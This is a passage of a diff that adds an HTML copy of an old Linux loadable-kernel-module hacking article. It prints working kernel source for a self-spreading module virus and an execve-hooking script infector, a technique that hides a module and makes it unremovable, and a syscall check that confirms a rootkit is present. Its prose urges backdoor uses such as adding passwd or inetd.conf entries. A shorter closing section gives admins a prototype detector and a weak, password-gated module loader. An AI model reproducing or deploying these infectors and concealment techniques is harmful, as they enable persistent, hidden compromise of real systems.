+ retval = old_delete_module(modname);
|
|
|
+
|
|
|
+ if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
|
|
|
+ return retval;
|
|
|
+
|
|
|
+ /*check files to infect -> this comes from hacked sys_create_module; just
|
|
|
+ a feature of *this* LKM infector, nothing generic for this type of virus*/
|
|
|
+ for (i = 0; files2infect[i][0] && i < 7; i++)
|
|
|
+ {
|
|
|
+ strcat(files2infect[i], ".o");
|
|
|
+ if ((s = get_mod_name(files2infect[i])) == NULL)
|
|
|
+ {
|
|
|
+ return retval;
|
|
|
+ }
|
|
|
+ name = strcpy(name, s);
|
|
|
+ if (!is_infected(name))
|
|
|
+ {
|
|
|
+ /*this is just a macro wrapper for printk(...)*/
|
|
|
+ DPRINTK("try 2 infect %s as #%d\n", name, i);
|
|
|
+ /*increase infection counter*/
|
|
|
+ infected++;
|
|
|
+ /*the infect function*/
|
|
|
+ infectfile(name);
|
|
|
+ }
|
|
|
+ memset(files2infect[i], 0, 60 + 2);
|
|
|
+ } /* for */
|
|
|
+ /* its enough */
|
|
|
+ /*how many modules were infected, if enough then stop and quit*/
|
|
|
+ if (infected >= ENOUGH)
|
|
|
+ cleanup_module();
|
|
|
+ vfree(name);
|
|
|
+ return retval;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+Well there is only one function interesting in this systemcall: infectfile(...).
|
|
|
+So let's examine that function (again only some comments were added by me) :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+int infectfile(char *filename)
|
|
|
+{
|
|
|
+ char *tmp = "/tmp/t000";
|
|
|
+ int in = 0, out = 0;
|
|
|
+ struct file *file1, *file2;
|
|
|
+
|
|
|
+ /*don't get confused, this is a macro define by the virus. It does the
|
|
|
+ kernel space -> user space handling for systemcall arguments(see I.4)*/
|
|
|
+ BEGIN_KMEM
|
|
|
+ /*open objectfile of the module which was unloaded*/
|
|
|
+ in = open(filename, O_RDONLY, 0640);
|
|
|
+ /*create a temp. file*/
|
|
|
+ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
|
|
|
+ /*see BEGIN_KMEM*/
|
|
|
+ END_KMEM
|
|
|
+
|
|
|
+ DPRINTK("in infectfile: in = %d out = %d\n", in, out);
|
|
|
+ if (in <= 0 || out <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ file2 = current->files->fd[out];
|
|
|
+ if (!file1 || !file2)
|
|
|
+ return -1;
|
|
|
+ /*copy module objectcode (host) to file2*/
|
|
|
+ cp(file1, file2);
|
|
|
+ BEGIN_KMEM
|
|
|
+ file1->f_pos = 0;
|
|
|
+ file2->f_pos = 0;
|
|
|
+ /* write Vircode [from mem] */
|
|
|
+ DPRINTK("in infetcfile: filenanme = %s\n", filename);
|
|
|
+ file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
|
|
|
+ cp(file2, file1);
|
|
|
+ close(in);
|
|
|
+ close(out);
|
|
|
+ unlink(tmp);
|
|
|
+ END_KMEM
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+I think the infection function should be quite clear.<br>
|
|
|
+There is only thing left which I think is necessary to discuss : How does
|
|
|
+the infected module first start the virus, and load the original module (we know
|
|
|
+the theory, but how to do it in reality) ?<br>
|
|
|
+For answering this question lets take a look at a function called
|
|
|
+load_real_mod(char *path_name, char* name) which manages that problem :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/* Is that simple: we disinfect the module [hide 'n seek]
|
|
|
+ * and send a request to kerneld to load
|
|
|
+ * the orig mod. N0 fuckin' parsing for symbols and headers
|
|
|
+ * is needed - cool.
|
|
|
+ */
|
|
|
+int load_real_mod(char *path_name, char *name)
|
|
|
+{
|
|
|
+ int r = 0, i = 0;
|
|
|
+ struct file *file1, *file2;
|
|
|
+ int in = 0, out = 0;
|
|
|
+
|
|
|
+ DPRINTK("in load_real_mod name = %s\n", path_name);
|
|
|
+ if (VirCode)
|
|
|
+ vfree(VirCode);
|
|
|
+ VirCode = vmalloc(MODLEN);
|
|
|
+ if (!VirCode)
|
|
|
+ return -1;
|
|
|
+ BEGIN_KMEM
|
|
|
+ /*open the module just loaded (->the one which is already infected)*/
|
|
|
+ in = open(path_name, O_RDONLY, 0640);
|
|
|
+ END_KMEM
|
|
|
+ if (in <= 0)
|
|
|
+ return -1;
|
|
|
+ file1 = current->files->fd[in];
|
|
|
+ if (!file1)
|
|
|
+ return -1;
|
|
|
+ /* read Vircode [into mem] */
|
|
|
+ BEGIN_KMEM
|
|
|
+ file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
|
|
|
+ close(in);
|
|
|
+ END_KMEM
|
|
|
+ /*split virus / orig. module*/
|
|
|
+ disinfect(path_name);
|
|
|
+ /*load the orig. module with kerneld*/
|
|
|
+ r = request_module(name);
|
|
|
+ DPRINTK("in load_real_mod: request_module = %d\n", r);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+It should be clear *why* this LKM infector need kerneld now, we need to load the
|
|
|
+original module by requesting it with request_module(...).
|
|
|
+I hope you understood this very basic journey through the world of LKM infectors
|
|
|
+(virus). The next sub sections will show some basic extensions / ideas concering
|
|
|
+LKM infectors.
|
|
|
+
|
|
|
+<H4><A NAME="II.8.1."></A>8.1 How a LKM virus can infect any file (not just modules)</h4>
|
|
|
+
|
|
|
+Please don't blame me for not showing a working example of this idea, I just
|
|
|
+don't have the time to implement it at the moment (look for further releases).
|
|
|
+As you saw in II.4.2 it is possible to catch the execute of every file using
|
|
|
+an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
|
|
|
+appends some data to the program that is going to be executed. The next time
|
|
|
+this program is started, it first starts our added part and then the original
|
|
|
+program (just a basic virus scheme). We all know that there are some existing
|
|
|
+Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
|
|
|
+executables not just modules.We could infect our executables,in a way that they
|
|
|
+check for UID=0 and then load again our infection module... I hope you
|
|
|
+understood the general idea. <br>
|
|
|
+I have to admit, that the modification needed to elf files is quite tricky, but
|
|
|
+with enough time you could do it (it was done several times before, just take a
|
|
|
+look at existing Linux viruses).<br>
|
|
|
+First of all you have to check for the file type which is going to be execute
|
|
|
+by sys_execve(...). There are several ways to do it; one of the fastest is to
|
|
|
+read some bytes from the file and checking them against the ELF string. After
|
|
|
+this you can use write(...) / read(...) / ... calls to modify the file, look at
|
|
|
+the LKM infector to see how it does it.<br>
|
|
|
+My theory would stay theory without any proof, so I present a very easy and
|
|
|
+useless LKM *script* infector. You cannot do anything virus like with it, it just
|
|
|
+infects a script with certain commands and nothing else; no real virus features.<br>
|
|
|
+I show you this example as a concept of LKMs infecting any file you execute.
|
|
|
+Even Java files could be infected, because of the features provided by the Linux
|
|
|
+kernel. Here comes the little LKM script infector :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define __KERNEL__
|
|
|
+#define MODULE
|
|
|
+
|
|
|
+/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
|
|
|
+#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
|
|
|
+#define END_KMEM set_fs(old_fs);}
|
|
|
+
|
|
|
+#include <linux/version.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <linux/fcntl.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/kerneld.h>
|
|
|
+
|
|
|
+int __NR_myexecve;
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int (*orig_execve) (const char *, const char *[], const char *[]);
|
|
|
+
|
|
|
+int (*open)(char *, int, int);
|
|
|
+int (*write)(unsigned int, char*, unsigned int);
|
|
|
+int (*read)(unsigned int, char*, unsigned int);
|
|
|
+int (*close)(int);
|
|
|
+
|
|
|
+
|
|
|
+/*see II.4.2 for explanation*/
|
|
|
+int my_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ long __res;
|
|
|
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
|
|
+ return (int) __res;
|
|
|
+}
|
|
|
+
|
|
|
+/*infected execve systemcall + infection routine*/
|
|
|
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ char *test, j;
|
|
|
+ int ret;
|
|
|
+ int host = 0;
|
|
|
+
|
|
|
+ /*just a buffer for reading up to 20 files (needed for identification of
|
|
|
+ execute file*/
|
|
|
+ test = (char *) kmalloc(21, GFP_KERNEL);
|
|
|
+
|
|
|
+ /*open the host script, which is going to be executed*/
|
|
|
+ host=open(filename, O_RDWR|O_APPEND, 0640);
|
|
|
+
|
|
|
+ BEGIN_KMEM
|
|
|
+
|
|
|
+ /*read the first 20 bytes*/
|
|
|
+ read(host, test, 20);
|
|
|
+
|
|
|
+ /*is it a normal shell script (as you see, you can modify this for *any*
|
|
|
+ executable*/
|
|
|
+ if (strstr(test, "#!/bin/sh")!=NULL)
|
|
|
+ {
|
|
|
+ /*a little debug message*/
|
|
|
+ printk("<1>INFECT !\n");
|
|
|
+ /*we are friendly and attach a peaceful command*/
|
|
|
+ write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
|
|
|
+ }
|
|
|
+ END_KMEM
|
|
|
+ /*modification is done, so close our host*/
|
|
|
+ close(host);
|
|
|
+ /*free allocated memory*/
|
|
|
+ kfree(test);
|
|
|
+ /*execute the file (the file is execute WITH the changes made by us*/
|
|
|
+ ret = my_execve(filename, argv, envp);
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ __NR_myexecve = 250;
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+ orig_execve = sys_call_table[SYS_execve];
|
|
|
+ if (__NR_myexecve != 0)
|
|
|
+ {
|
|
|
+ printk("<1>everything OK\n");
|
|
|
+ sys_call_table[__NR_myexecve] = orig_execve;
|
|
|
+ sys_call_table[SYS_execve] = (void *) hacked_execve;
|
|
|
+ }
|
|
|
+
|
|
|
+ /*we need some functions*/
|
|
|
+ open = sys_call_table[__NR_open];
|
|
|
+ close = sys_call_table[__NR_close];
|
|
|
+ write = sys_call_table[__NR_write];
|
|
|
+ read = sys_call_table[__NR_read];
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_execve]=orig_execve;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This is too easy to waste some words on it. Of course, this module does
|
|
|
+<i>not</i> need kerneld for spreading (interesting for kernel without kerneld
|
|
|
+support). <br>
|
|
|
+I hope you got the idea on infecting any executable, this is a very strong
|
|
|
+method of killing large systems.
|
|
|
+
|
|
|
+<H4><A NAME="II.8.2."></A>8.2 How can a LKM virus help us to get in</h4>
|
|
|
+
|
|
|
+As you know virus coders are not hackers, so what about interesting features for
|
|
|
+hackers. Think about this problem (only ten seconds), you should realize, that
|
|
|
+a whole system could be yours by introducing a trojan (infected) LKM.<br>
|
|
|
+Remember all the nice hacks we discussed till now.Even without trojans you could
|
|
|
+hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
|
|
|
+home directoy. Believe me, it is easier to infect a system with a real good LKM
|
|
|
+than doing the same stuff as root again and again. It's more elagent to let the
|
|
|
+LKM make the work for you. Be CREATIVE...
|
|
|
+
|
|
|
+<H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
|
|
|
+
|
|
|
+Now it's time to start talking about the most important / interesting Hack I
|
|
|
+will present. This idea comes from plaguez's LKM published in Phrack (other
|
|
|
+people like Solar Designer discussed this before...).<br>
|
|
|
+So far we are able to hide files, processes, directories, and whatever we
|
|
|
+want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
|
|
|
+/proc/modules. There are many ways we can solve this problem. The first solution
|
|
|
+could be a partial file hiding (see II.4.3). This would be easy to implement,
|
|
|
+but there is a better more advanced and secure way. Using this technique you
|
|
|
+must also intercept the sys_query_module(...) systemcall. An example of this
|
|
|
+approach can be seen in A-b.<br>
|
|
|
+As I explained in I.1 a module is finally loaded by issuing a init_module(...)
|
|
|
+systemcall which will start the module's init function. init_module(...) gets
|
|
|
+an argument : struct mod_routines *routines. This structure contains very
|
|
|
+important information for loading the LKM. It is possible for us to manipulate
|
|
|
+some data from this structure in a way our module will have no name and no
|
|
|
+references. After this the system will no longer show our LKM in /proc/modules,
|
|
|
+because it ignores LKMs with no name and a refernce count equal to 0. The
|
|
|
+following lines show how to access the part of mod_routines, in order to hide
|
|
|
+the module.<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*from Phrack & AFHRM*/
|
|
|
+int init_module()
|
|
|
+{
|
|
|
+ register struct module *mp asm("%ebp"); // or whatever register it is in
|
|
|
+ *(char*)mp->name=0;
|
|
|
+ mp->size=0;
|
|
|
+ mp->ref=0;
|
|
|
+ ...
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This code trusts in the fact that gcc did not manipulate the ebp register
|
|
|
+because we need it in order to find the right memory location. After finding
|
|
|
+the structure we can set the structure's name and references members to 0 which
|
|
|
+will make our module invisible and also unremovable, because you can only remove
|
|
|
+LKMs which the kernel knows, but our module is unknow to the kernel.<br>
|
|
|
+Remember that this trick only works if you use gcc in way it does not touch the
|
|
|
+register you need to access for getting the structure.You must use the following
|
|
|
+gcc options :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#gcc -c -O3 -fomit-frame-pointer module.c
|
|
|
+</xmp>
|
|
|
+
|
|
|
+fomit-frame-pointer says cc not to keep frame pointer in registers for functions
|
|
|
+that don't need one. This keeps our register clean after the function call of
|
|
|
+init_module(...), so that we can access the structure.<br>
|
|
|
+In my opinion this is the most important trick, because it helps us to develope
|
|
|
+hidden LKMs which are also unremovable.
|
|
|
+
|
|
|
+<H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
|
|
|
+
|
|
|
+In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
|
|
|
+infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
|
|
|
+the socketcall loading a module instead of starting our backdoor shellscript or
|
|
|
+program. You could load a module adding an entry to passwd or inetd.conf. After
|
|
|
+loading this second LKM you have many possibilities of changing systemfiles.
|
|
|
+Again, be creative.
|
|
|
+
|
|
|
+<H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
|
|
|
+
|
|
|
+We learned many ways a module can help us to subvert a system. So imagine you
|
|
|
+code yourself a nice backdoor tool (or take an existing) which isn't implemented
|
|
|
+in the LKM you use on that system; just something like pingd, WWW remote shell,
|
|
|
+shell, .... How can you check after logging in on the system that your LKM is
|
|
|
+still working? Imagine what would happen if you enter a session and the admin is
|
|
|
+waiting for you without your LKM loaded (so no process hiding etc.). So you
|
|
|
+start doing you job on that system (reading your own logs, checking some mail
|
|
|
+traffic and so on) and every step is monitored by the admin. Well no good
|
|
|
+situation, we must know that our LKM is working with a simple check.<br>
|
|
|
+I suppose the following way is a good solution (although there may be many other
|
|
|
+good ones):
|
|
|
+<ul>
|
|
|
+<li> implement a special systemcall in your module<br>
|
|
|
+<li> write a little user space program checking for that systemcall<br>
|
|
|
+</ul>
|
|
|
+Here is a module which implements our 'check systemcall' :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+#define SYS_CHECK 200
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int sys_check()
|
|
|
+{
|
|
|
+ return 666;
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_CHECK]=sys_check;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+If you issue a systemcall with the number 200 in eax we should get a return of
|
|
|
+666. So here is our user space program checking for this :
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#include <linux/errno.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <errno.h>
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int check()
|
|
|
+{
|
|
|
+ __asm__("movl $200,%eax
|
|
|
+ int $0x80");
|
|
|
+}
|
|
|
+
|
|
|
+main()
|
|
|
+{
|
|
|
+ int ret;
|
|
|
+ ret = check();
|
|
|
+ if (ret!=666)
|
|
|
+ printf("Our module is *not* present !!\n");
|
|
|
+ else
|
|
|
+ printf("Our module is present, continue...\n");
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
|
|
+In my opinion this is one of the easiest ways to check for presents of our LKM,
|
|
|
+just try it.
|
|
|
+
|
|
|
+
|
|
|
+<u><b>
|
|
|
+<H2>III. Soltutions (for admins)</H2>
|
|
|
+</u></b>
|
|
|
+<P><P>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
|
|
|
+
|
|
|
+I think it is time to help admins securing their system from hostile LKMs.<br>
|
|
|
+Before explaining some theories remember the following for a secure system :<br>
|
|
|
+<ul>
|
|
|
+<li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
|
|
|
+ also relevant for normal executables)<br>
|
|
|
+<li> if you have the sources, check them (if you can). Remember the tcpd trojan
|
|
|
+ problem. Large software packets are mostly quite complex to understand, but
|
|
|
+ if you need a very secure system you should analyse the source code.<br>
|
|
|
+</ul>
|
|
|
+Even if you follow those tips it could be possible that an intruder activates an
|
|
|
+LKM on your system (overflows etc.). <br>
|
|
|
+So what about a LKM logging every module loaded, and denying every load attempt
|
|
|
+from a directory different from a secure one (to avoid simple overflows; that's no
|
|
|
+perfect way...). The logging can be easily done by intercepting the
|
|
|
+create_module(...) systemcall. The same way you could check for the directory
|
|
|
+the loaded module comes from. <br>
|
|
|
+It would also be possible to deny any module loading, but this is a very bad way,
|
|
|
+because you really need them. So what about modifying module loading in a way
|
|
|
+you can supply a password, which will be checked in your intercepted
|
|
|
+create_module(...). If the password is correct the module will be loaded, if not
|
|
|
+it will be dropped.<br>
|
|
|
+It should be clear that you have to hide your LKM to make it unremovable. So
|
|
|
+let's take a look at some prototype implemantations of the logging LKM and the
|
|
|
+password protected create_module(...) systemcall.<br>
|
|
|
+
|
|
|
+<H4><A NAME="III.1.1."></A>1.1 Practical Example of a prototype Detector</h4>
|
|
|
+
|
|
|
+Nothing to say about that simple implementation, just intercept
|
|
|
+sys_create_module(...) and log the names of modules which were loaded.
|
|
|
+
|
|
|
+<xmp>
|
|
|
+
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+
|
|
|
+int (*orig_create_module)(char*, unsigned long);
|
|
|
+
|
|
|
+
|
|
|
+int hacked_create_module(char *name, unsigned long size)
|
|
|
+{
|
|
|
+ char *kernel_name;
|
|
|
+ char hide[]="ourtool";
|
|
|
+ int ret;
|
|
|
+
|
|
|
+ kernel_name = (char*) kmalloc(256, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(kernel_name, name, 255);
|
|
|
+
|
|
|
+ /*here we log to syslog, but you can log where you want*/
|
|
|
+ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
|
|
|
+
|
|
|
+ ret=orig_create_module(name, size);
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ orig_create_module=sys_call_table[SYS_create_module];
|
|
|
+ sys_call_table[SYS_create_module]=hacked_create_module;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_create_module]=orig_create_module;
|
|
|
+}
|
|
|
+
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This is all you need, of course you should add the lines required for hiding the
|
|
|
+module, but this is no problem. After making it unremovable this way, a hacker
|
|
|
+can only modify the log file, but you could also save your logs, to a file
|
|
|
+unaccessible for the hacker (see II.1 for required tricks).
|
|
|
+Of course you can also intercept sys_init_module(...)which would also show every
|
|
|
+module, that's just a matter of taste.
|
|
|
+
|
|
|
+
|
|
|
+<H4><A NAME="III.1.2."></A>1.2 Practical Example of a prototype password protected create_module(...)</h4>
|
|
|
+
|
|
|
+
|
|
|
+This subsection will deal with the possibility to add authentication to module
|
|
|
+loading. We need two things to manage this task :
|
|
|
+<ul>
|
|
|
+<li> a way to check module loading (easy)<br>
|
|
|
+<li> a way to authenticate (quite difficult)<br>
|
|
|
+</ul>
|
|
|
+The first point is very easy to code, just intercept sys_create_module(...) and
|
|
|
+check some variable, which tells the kernel wether this load process is legal.
|
|
|
+But how to do authentication. I must admit that I did not spend many seconds on
|
|
|
+thinking about this problem, so the solution is more than bad, but this is a LKM
|
|
|
+article, so use your brain, and create something better. My way to do it, was
|
|
|
+to intercept the stat(...) systemcall, which is used if you type any command,and
|
|
|
+the system needs to search it. So just type a password as command and the LKM
|
|
|
+will check it in the intercepted stat call [I know this is more than insecure;
|
|
|
+even a Linux starter would be able to defeat this authentication scheme, but
|
|
|
+(again) this is not the point here...]. Take a look at my implemtation (I ripped
|
|
|
+lots of from existing LKMs like the one by plaguez...):<br>
|
|
|
+
|
|
|
+<xmp>
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <sys/stat.h>
|
|
|
+
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
|
|
|
+int lock_mod=0;
|
|
|
+
|
|
|
+int __NR_myexecve;
|
|
|
+
|
|
|
+/*intercept create_module(...) and stat(...) systemcalls*/
|
|
|
+int (*orig_create_module)(char*, unsigned long);
|
|
|
+int (*orig_stat) (const char *, struct old_stat*);
|
|
|
+
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_stat(const char *filename, struct old_stat *buf)
|
|
|
+{
|
|
|
+ char *name;
|
|
|
+ int ret;
|
|
|
+ char *password = "password"; /*yeah, a great password*/
|
|
|
+
|
|
|
+ name = (char *) kmalloc(255, GFP_KERNEL);
|
|
|
+
|
|
|
+ (void) strncpy_fromfs(name, filename, 255);
|
|
|
+
|
|
|
+ /*do we have our password ?*/
|
|
|
+ if (strstr(name, password)!=NULL)
|
|
|
+ {
|
|
|
+ /*allow loading a module for one time*/
|
|
|
+ lock_mod=1;
|
|
|
+ kfree(name);
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ {
|
|
|
+ kfree(name);
|
|
|
+ ret = orig_stat(filename, buf);
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_create_module(char *name, unsigned long size)
|
|
|
+{
|
|
|
+ char *kernel_name;
|
|
|
+ char hide[]="ourtool";
|
|
|
+ int ret;
|
|
|
+
|
|
|
+ if (lock_mod==1)
|
|
|
+ {
|
|
|
+ lock_mod=0;
|
|
|
+ ret=orig_create_module(name, size);
|
|
|
+ return ret;
|
|
|
+ }
|
|
|
+ else
|
|
|
+ {
|
|
|
+ printk("<1>MOD-POL : Permission denied !\n");
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int init_module(void) /*module setup*/
|
|
|
+{
|
|
|
+ __NR_myexecve = 200;
|
|
|
+
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+
|
|
|
+ sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
|
|
|
+
|
|
|
+ orig_stat=sys_call_table[SYS_prev_stat];
|
|
|
+ sys_call_table[SYS_prev_stat]=hacked_stat;
|
|
|
+
|
|
|
+ orig_create_module=sys_call_table[SYS_create_module];
|
|
|
+ sys_call_table[SYS_create_module]=hacked_create_module;
|
|
|
+
|
|
|
+ printk("<1>MOD-POL LOADED...\n");
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void) /*module shutdown*/
|
|
|
+{
|
|
|
+ sys_call_table[SYS_prev_stat]=orig_stat;
|
|
|
+ sys_call_table[SYS_create_module]=orig_create_module;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+This code should be clear. The following list tells you what to improve in this
|
|
|
+LKM in order to make it more secure, perhaps a bit too paranoid :) :
|
|
|
+<ul>
|
|
|
+<li>find another way to authenticate (use your own user space interface, with your
|
|
|
+ own systemcalls; use userID (not just a plain password); perhaps you have a
|
|
|
+ biometric device -> read documentation and code your device driver for Linux
|
|
|
+ and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles,
|
|
|
+ biometric, smartcard systems can often be defeated because of a very insecure
|
|
|
+ software interface;. You could secure your whole system with a mechanism like
|
|
|
+ that. Control your whole kernel with a smartcard :)<br>
|
|
|
+ Another not so 'extreme' way would be to implement your own systemcall which is
|
|
|
+ responsible for authentication. (see II.11 for an example of creating your
|
|
|
+ own systemcall).<br>
|
|
|
+<li>find a better way to check in sys_create_module(...). Checking a variable is
|
|
|
+ not very secure, if someone rooted your system he could patch the memory (see
|
|
|
+ the next part)<br>
|
|
|
+<li>find a way to make it impossible for an attacker to use your authentication
|
|
|
+ for insmod'ing his LKM <br>
|
|
|
+<li>add hiding features<br>
|
|
|
+<li>...<br>
|
|
|
+</ul>
|
|
|
+
|
|
|
+You can see, there is some work to do. But even with those steps, your system
|
|
|
+cannot be totally secure.If someone rooted the system he could find other tricks
|
|
|
+to load his LKM (see next part); perhaps he even does not need a LKM, because he
|
|
|
+only rooted thesystem, and don't want to hide files / processeses (and the other
|
|
|
+wonderfull things possible with LKMs).
|
|
|
+
|
|
|
+<H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
|
|
|
+
|
|
|
+In this section I will concentrate on the LKM Infector by SVAT, because I cannot
|
|
|
+present a generic LKM infection scanner. Perhaps this would be possible with
|
|
|
+something like heuristic tests or something similar. There are many ways you
|
|
|
+can implement a LKM infector scanner. You can divide them into two big groups :
|
|
|
+<ul>
|
|
|
+<li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
|
|
|
+ scanner virus in WIN9x)<br>
|
|
|
+<li> file checking scanner (checking module files for signs of an infection)<br>
|
|
|
+</ul>
|
|
|
+The first method is possible through intercepting sys_create_module (or the
|
|
|
+init_module call). The second approach needs something characteristic which you
|
|
|
+may find in any infected file. We know that the LKM infector appends two module
|
|
|
+files. So we could check for two ELF headers / signatures. Of course, any other
|
|
|
+LKM infector could use a improved method (encryption, selfmodifying code etc.).
|
|
|
+I won't present a file checking scanner, because you just have to write a little
|
|
|
+(user space) programm that reads in the module, and checks for twe ELF headers
|
|
|
+(the 'ELF' string, for example).
|
|
|
+
|
|
|
+<H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
|
|
|
+
|
|
|
+Now it's time to beat hackers snooping our executables. As I said before strace
|
|
|
+is the tool of our choice. I presented it as a tool helping us to see which
|
|
|
+systemcalls are used in certain programs. Another very interesting use of strace
|
|
|
